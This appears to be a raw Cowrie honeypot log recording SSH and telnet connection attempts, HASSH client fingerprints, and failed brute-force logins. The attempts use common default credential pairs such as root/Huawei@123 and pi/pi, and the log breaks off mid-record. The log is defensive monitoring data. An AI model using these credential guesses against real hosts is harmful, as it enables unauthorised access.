{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:40.744497Z","src_ip":"176.65.139.103","session":"763ff77541c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":48586,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c0990cccd99","protocol":"ssh","message":"New connection: 176.65.139.103:48586 (10.17.0.5:22) [session: 1c0990cccd99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:45.136042Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:45.139800Z","src_ip":"176.65.139.103","session":"1c0990cccd99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:45.221617Z","src_ip":"176.65.139.103","session":"1c0990cccd99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop123","message":"login attempt [hadoop/hadoop123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:45.475556Z","src_ip":"176.65.139.103","session":"1c0990cccd99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54402,"dst_ip":"159.203.135.109","dst_port":22,"session":"196ee4eca218","protocol":"ssh","message":"New connection: 159.203.92.129:54402 (159.203.135.109:22) [session: 196ee4eca218]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:46.481910Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:46.486366Z","src_ip":"159.203.92.129","session":"196ee4eca218","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:46.490684Z","src_ip":"159.203.92.129","session":"196ee4eca218","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"888888","message":"login attempt [ansible/888888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:46.504434Z","src_ip":"159.203.92.129","session":"196ee4eca218","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:46.564796Z","src_ip":"176.65.139.103","session":"1c0990cccd99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:47.521785Z","src_ip":"159.203.92.129","session":"196ee4eca218","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.94.179.238","src_port":21685,"dst_ip":"10.17.0.5","dst_port":23,"session":"753773ddd79f","protocol":"telnet","message":"New connection: 138.94.179.238:21685 (10.17.0.5:23) [session: 753773ddd79f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:48.948695Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":48590,"dst_ip":"10.17.0.5","dst_port":22,"session":"1fd6a957008a","protocol":"ssh","message":"New connection: 176.65.139.103:48590 (10.17.0.5:22) [session: 1fd6a957008a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:50.924803Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:50.929390Z","src_ip":"176.65.139.103","session":"1fd6a957008a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:51.013067Z","src_ip":"176.65.139.103","session":"1fd6a957008a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1qaz@WSX","message":"login attempt [user/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:51.257752Z","src_ip":"176.65.139.103","session":"1fd6a957008a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:52.341526Z","src_ip":"176.65.139.103","session":"1fd6a957008a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":39632,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec4bb428e86c","protocol":"telnet","message":"New connection: 185.26.126.47:39632 (159.203.135.109:23) [session: ec4bb428e86c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:55.333994Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":39126,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5956ed2a0f5","protocol":"ssh","message":"New connection: 176.65.139.103:39126 (10.17.0.5:22) [session: a5956ed2a0f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:56.846286Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:56.857532Z","src_ip":"176.65.139.103","session":"a5956ed2a0f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:56.932510Z","src_ip":"176.65.139.103","session":"a5956ed2a0f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"pi","message":"login attempt [pi/pi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:57.259727Z","src_ip":"176.65.139.103","session":"a5956ed2a0f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:58.366743Z","src_ip":"176.65.139.103","session":"a5956ed2a0f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.2.135.162","src_port":60302,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9a6ffb9f538","protocol":"telnet","message":"New connection: 103.2.135.162:60302 (159.203.135.109:23) [session: e9a6ffb9f538]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:40:02.416074Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":39138,"dst_ip":"10.17.0.5","dst_port":22,"session":"6da547edc8f3","protocol":"ssh","message":"New connection: 176.65.139.103:39138 (10.17.0.5:22) [session: 6da547edc8f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:40:02.942992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:40:02.951872Z","src_ip":"176.65.139.103","session":"6da547edc8f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:40:03.028365Z","src_ip":"176.65.139.103","session":"6da547edc8f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amin","password":"amin","message":"login attempt [amin/amin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:40:03.355744Z","src_ip":"176.65.139.103","session":"6da547edc8f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:40:04.446402Z","src_ip":"176.65.139.103","session":"6da547edc8f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":59664,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a31305296e2","protocol":"ssh","message":"New connection: 176.65.139.103:59664 (10.17.0.5:22) [session: 6a31305296e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:40:09.294585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:40:09.299761Z","src_ip":"176.65.139.103","session":"6a31305296e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:40:09.385114Z","src_ip":"176.65.139.103","session":"6a31305296e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei@123","message":"login attempt [root/Huawei@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:40:09.646194Z","src_ip":"176.65.139.103","session":"6a31305296e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:40:10.730959Z","src_ip":"176.65.139.103","session":"6a31305296e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":33596,"dst_ip":"10.17.0.5","dst_port":22,"session":"b5742f42d144","protocol":"ssh","message":"New connection: 176.65.139.103:33596 (10.17.0.5:22) [session: b5742f42d144]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:40:15.475788Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:40:15.481719Z","src_ip":"176.65.139.103","session":"b5742f42d144","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:40:15.564022Z","src_ip":"176.65.139.103","session":"b5742f42d144","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"server","message":"login attempt [server/server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:40:15.937971Z","src_ip":"176.65.139.103","session":"b5742f42d144","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.579936981201172,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:40:15.995878Z","src_ip":"103.2.135.162","session":"e9a6ffb9f538","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:40:17.032881Z","src_ip":"176.65.139.103","session":"b5742f42d144","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":43358,"dst_ip":"159.203.135.109","dst_port":22,"session":"a9312bffe70b","protocol":"ssh","message":"New connection: 159.203.92.129:43358 (159.203.135.109:22) [session: a9312bffe70b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:40:31.879225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:40:31.884959Z","src_ip":"159.203.92.129","session":"a9312bffe70b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sh